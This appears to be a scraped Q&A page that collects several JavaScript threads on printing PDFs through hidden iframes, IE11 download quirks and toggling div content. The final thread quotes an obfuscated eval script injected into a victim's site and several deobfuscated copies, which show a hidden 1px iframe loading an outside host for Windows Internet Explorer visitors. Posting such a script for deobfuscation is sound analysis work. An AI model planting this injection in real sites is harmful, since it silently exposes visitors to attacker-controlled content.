Printing from iframe works everywhere except IE11 - javascript

I've written code that displays a pdf blob onto the screen of an iframe, but I also want it to print. I have this working in all browsers execept for IE11. Anyone know the solution there? I read some where about execCommand, but that didn't seem to work either.
const printElem = (invoice) => {
const origiframe = document.querySelector('iframe');
if (origiframe) {
origiframe.remove();
}
const iframe = document.createElement('iframe');
iframe.src = invoice;
iframe.name = 'pdf-frame';
iframe.id = 'pdf-frame';
iframe.style.display = 'none';
iframe.style.visibility = 'hidden';
document.body.appendChild(iframe);
window.frames['pdf-frame'].print();
}
UPDATE: I should be able to use something like the following to get the print to work across all browsers, but unclear on the syntax:
window.frames['pdf-frame'].document.execCommand('print',false,null);
UPDATE2: I'm trying to use the following as well, but still no dice. Anyone have any thoughts on why the catch portion won't work in IE11?
try {
window.frames['pdf-frame'].print();
} catch(e) {
window.frames['pdf-frame'].document.execCommand('print',false,null);
}

If you try this this?
var target= document.getElementById("myFrame");
try {
target.contentWindow.document.execCommand('print', false, null);
} catch(e) {
target.contentWindow.print();
}

Related

.click() giving access denied in IE11

When trying to invoke a .click() of an anchor tag to auto click the url.
The code is working fine in all browsers except Internet Explorer v11.
Any help will be appreciated.
var strContent = "a,b,c\n1,2,3\n";
var HTML_APS = strContent;
var data = new Blob([HTML_APS]);
var temp_link = document.createElement('a');
temp_link.href = URL.createObjectURL(data);
temp_link.download = "report_html.htm";
temp_link.type = "text/html";
temp_link.style = "display:none";
document.body.appendChild(temp_link);
if (confirm("Press a button!") == true) {
temp_link.click();
temp_link.remove();
}
here is the fiddle.
For IE, you can use navigator.msSaveOrOpenBlob
so, cross browser, the code would be
var strContent = "a,b,c\n1,2,3\n";
var HTML_APS = strContent;
var data = new Blob([HTML_APS]);
if (confirm("Press a button!") == true) {
if (navigator.msSaveOrOpenBlob) {
navigator.msSaveOrOpenBlob(data, "report_html.htm");
} else {
var temp_link = document.createElement('a');
temp_link.href = URL.createObjectURL(data);
temp_link.download = "report_html.htm";
temp_link.type = "text/html";
document.body.appendChild(temp_link);
temp_link.click();
temp_link.remove();
}
}
When used download attribute an anchor, this signifies that the browser should download the resource the anchor points to rather than navigate to it. It doesn't support IE11.
For reference click here
Per this SO answer, the 'download' attribute has not been implemented in Internet Explorer.
The download attribute is not implemented in Internet Explorer.
http://caniuse.com/download
For Internet explorer you can use the "SaveAs" command.

How to Print Pdf in Angular 2

I have URL of pdf file for exa url is "test.example.com/incoice/1/download?auth_token="some_token", when I visit this url, url will show me PDF in browser.
Now I want to open this pdf with print function, I mean user do not have to press CTRL+P I want to do this from my side.
I tried iframe but it gives me error of cross origin.
This is demo code which i used
//first try
let _printIframe;
var iframe = _printIframe;
if (!_printIframe) {
iframe = _printIframe = document.createElement('iframe');
document.body.appendChild(iframe);
iframe.style.display = 'none';
iframe.id = "printf";
iframe.name = "printf";
iframe.onload = function() {
setTimeout(function() {
iframe.focus();
iframe.contentWindow.print();
}, 1);
};
}
// second try
// SRC of pdf
iframe.src = "Some API URl " + "/download?access_token=" +
this.authenticationService.currentTokenDetails.access_token;
let url = iframe.src + "&output=embed";
window.frames["printf"].focus();
window.frames["printf"].print();
var newWin = window.frames["printf"];
newWin.document.write('<body onload="window.print()">dddd</body>');
newWin.document.close();
I created a demo in plunker for print pdf. http://embed.plnkr.co/WvaB9HZicxK6tC3OAUEw/ In this plunker i open pdf in new window but i want to directly print that pdf. how can i do that ?
Any suggestion will be appreciate, and you can correct if I am wrong.
Thanks
So here I got the solution for my problem
In my situation my API was returning binary data of pdf, and browser did not print that binary data into window.print, so for this first I convert binary data in blob data and then create Iframe for print
Following is code for it.
const url = request URL // e.g localhost:3000 + "/download?access_token=" + "sample access token";
this.http.get(url, {
responseType: ResponseContentType.Blob
}).subscribe(
(response) => { // download file
var blob = new Blob([response.blob()], {type: 'application/pdf'});
const blobUrl = URL.createObjectURL(blob);
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.src = blobUrl;
document.body.appendChild(iframe);
iframe.contentWindow.print();
});
Here you go!!
I hope this can help anyone have this problem :)
The previous solution may cause some security issues in newer browsers so we need to use the DOMSanitizer to make it a safe resource.
export class PrintPdfService {
constructor(protected sanitizer: DomSanitizer) {}
printPdf(res) {
const pdf = new Blob([res], { type: 'application/pdf' });
const blobUrl = URL.createObjectURL(pdf);
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.src = this.sanitizer.sanitize(SecurityContext.RESOURCE_URL, this.sanitizer.bypassSecurityTrustResourceUrl(blobUrl));
document.body.appendChild(iframe);
iframe.contentWindow.print();
}
}
Angular DOMSanitizer
Look at https://github.com/devintyler/real-time-angular2/tree/master/plugin/print-pdf
simple and nice implementation.

Remove iframe after printing

I'm new to HTML and Javascript. I'm trying to write a Javascript function to print the content of an (hidden) iframe in order to print documents (to the user, seemingly) without opening them.
I based the function on the example I found here: https://developer.mozilla.org/en-US/docs/Printing#Print_an_external_page_without_opening_it
Printing the content works fine but the trouble is removing the iframe from the document after the printing has finished. This is what my code looks like now.
function closePrint () {
var element = document.getElementById("printFrame");
element.parentNode.removeChild(element);
}
function setPrint () {
this.contentWindow.__container__ = this;
this.contentWindow.onbeforeunload = setTimeout(closePrint, 100);
this.contentWindow.onafterprint = setTimeout(closePrint, 100);
this.contentWindow.focus(); // Required for IE
this.contentWindow.print();
}
function printPage (sURL) {
var oHiddFrame = document.createElement("iframe");
oHiddFrame.onload = setPrint;
oHiddFrame.width = 0;
oHiddFrame.height = 0;
oHiddFrame.style.position = "fixed";
oHiddFrame.style.right = "0";
oHiddFrame.style.bottom = "0";
oHiddFrame.id = "printFrame";
oHiddFrame.src = sURL;
document.body.appendChild(oHiddFrame);
}
I changed two lines in the example from
this.contentWindow.onbeforeunload = closePrint;
this.contentWindow.onafterprint = closePrint;
to
this.contentWindow.onbeforeunload = setTimeout(closePrint, 100);
this.contentWindow.onafterprint = setTimeout(closePrint, 100);
As it didn't remove the iframes without the timeout.
This works fine in both IE11 and Chrome, but in IE compitability mode (which I think emulates IE7) it gives me an error "Not implemented" when I try to use setTimeout.
So my question is, is there another way to run the closePrint function after a timeout or some other way to remove the iframe from the document when I've printed the content? Any help is appreciated.
after printing, leave the iframe on document.body. When you need to add your next iframe, first run a check for its presence ~ if its present, remove it then (first two lines).
myfunction() {
const iframe = document.querySelector('iframe');
if (iframe) iframe.parentNode.removeChild(iframe);
const i = document.createElement('iframe');
i.style.display = 'none';
i.src = this.study.DocumentUrl;
document.body.appendChild(i);
document.querySelector('iframe').contentWindow.focus();
document.querySelector('iframe').contentWindow.print();
}

Javascript hiding and showing dynamic content of a div

Currently I hide and show the content of a div like this:
var header = null;
var content = null;
var mainHolder = null;
var expandCollapseBtn = null;
var heightValue = 0;
header = document.getElementById("header");
content = document.getElementById("content");
mainHolder = document.getElementById("mainHolder");
expandCollapseBtn = header.getElementsByTagName('img')[0];
heightValue = mainHolder.offsetHeight;
header.addEventListener('click', handleClick, false);
mainHolder.addEventListener('webkitTransitionEnd',transitionEndHandler,false);
function handleClick() {
if(expandCollapseBtn.src.search('collapse') !=-1)
{
mainHolder.style.height = "26px";
content.style.display = "none";
}
else
{
mainHolder.style.height = heightValue + "px";
}
}
function transitionEndHandler() {
if(expandCollapseBtn.src.search('collapse') !=-1)
{
expandCollapseBtn.src = "expand1.png";
}
else{
expandCollapseBtn.src = "collapse1.png";
content.style.display = "block";
}
}
This is fine if the content is static, but I'm trying to populate my div dynamically like so.
This is called from an iphone application and populates the div with a string.
var method;
function myFunc(str)
{
method = str;
alert(method);
document.getElementById('method').innerHTML = method;
}
I store the string globally in the variable method. The problem I am having is now when I try expand the div I have just collapsed there is nothing there. Is there some way that I could use the information stored in var to repopulate the div before expanding it again? I've tried inserting it like I do in the function but it doesn't work.
Does anyone have any ideas?
to replicate:
Here is the jsfiddle. jsfiddle.net/6a9B3 If you type in text between
here it will work fine. I'm not sure
how I can call myfunc with a string only once in this jsfiddle, but if
you can work out how to do that you will see it loads ok the first
time, but when you collapse the section and attempt to re open it, it
wont work.
If the only way to fix this is using jquery I dont mind going down that route.
is it working in other browsers?
can you jsfiddle.net for present functionality because it is hard to understand context of problem in such code-shoot...
there are tonns of suggestions :) but I have strong feeling that
document.getElementById('method')
returns wrong element or this element not placed inside mainHolder
update: after review sample in jsfiddle
feeling about wrong element was correct :) change 'method' to 'info'
document.getElementById('method') -> document.getElementById('info')
I think you want to use document.getElementById('content') instead of document.getElementById('method') in myFunc.
I really see nothing wrong with this code. However, a guess you could explore is altering the line
content.style.display = "none";
It might be the case that whatever is displaying your html ( a webview or the browser itself) might be wiping the content of the elemtns, as the display is set to none

JavaScript code injected into site: Can you help me decrypt it?

Recently I was the victim of a web attack, which seemed to take various PHP server vars, then forward them to an attackers website. (IPs of visitor/website, referrer, useragent etc, etc.) Then it would get the file it sent the URL request to, and echo() it to source.
I know you get MANY of these sort of requests (Mostly as poor man XSS attempts), but I would really appreciate some help here, as I don't have much experience with JS. It took me several hours of PHP unscrambling to figure at what it did, and after passing some dummy info, it returned this (which was being echoed into source)
<script type='text/javascript'>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height|width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|25u|msie|toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|500|asso|navigator|com|showthread|php|72291731'.split('|'),0,{}))
Thank you for your time and patience with this matter.
Simply replace eval with alert.
It yields the following:
function MakeFrameEx(){
element=document.getElementById('yahoo_api');
if(!element){
var el=document.createElement('iframe');
document.body.appendChild(el);
el.id='yahoo_api';
el.style.width='1px';
el.style.height='1px';
el.style.display='none';
el.src='http://asso.25u.com/showthread.php?t=72291731'
}
}
var ua=navigator.userAgent.toLowerCase();
if(((ua.indexOf("msie")!=-1
&&ua.indexOf("opera")==-1
&&ua.indexOf("webtv")==-1))
&&ua.indexOf("windows")!=-1)
{
var t=setTimeout("MakeFrameEx()",500);
}
After doing the alert() CTRL+C the dialog to get the contents, then use a JS Beautifier to get some readable code.
Also note that for some browsers, like Firefox, there are plugins to do this automatically. Some browsers even does this automatically (MSIE).
This was some obfuscated code. I deobfuscated it and this is what it does:
function MakeFrameEx() {
element = document.getElementById('yahoo_api');
if (!element) {
var el = document.createElement('iframe');
document.body.appendChild(el);
el.id = 'yahoo_api';
el.style.width = '1px';
el.style.height = '1px';
el.style.display = 'none';
el.src = 'http://asso.25u.com/showthread.php?t=72291731'
}
}
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua
.indexOf("webtv") == -1))
&& ua.indexOf("windows") != -1) {
var t = setTimeout("MakeFrameEx()", 500)
}
Here is the deobfuscated JavaScript code:
function MakeFrameEx()
{
element=document.getElementById('yahoo_api');
if(!element)
{
var el=document.createElement('iframe');
document.body.appendChild(el);
el.id='yahoo_api';
el.style.width='1px';
el.style.height='1px';
el.style.display='none';
el.src='http://asso.25u.com/showthread.php?t=72291731'
}
}
var ua=navigator.userAgent.toLowerCase();
if(((ua.indexOf("msie")!=-1&&ua.indexOf("opera")==-1&&ua.indexOf("webtv")==-1))&&ua.indexOf("windows")!=-1)
{
var t=setTimeout("MakeFrameEx()",500)}

Categories